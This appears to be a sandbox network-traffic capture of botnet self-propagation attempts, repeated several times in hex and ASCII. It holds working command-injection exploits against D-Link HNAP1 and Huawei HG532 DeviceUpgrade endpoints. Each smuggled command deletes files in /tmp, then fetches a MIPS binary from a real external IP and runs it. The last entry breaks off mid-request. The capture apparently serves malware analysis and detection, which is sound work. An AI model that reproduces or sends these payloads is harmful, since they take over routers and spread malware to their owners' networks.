Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 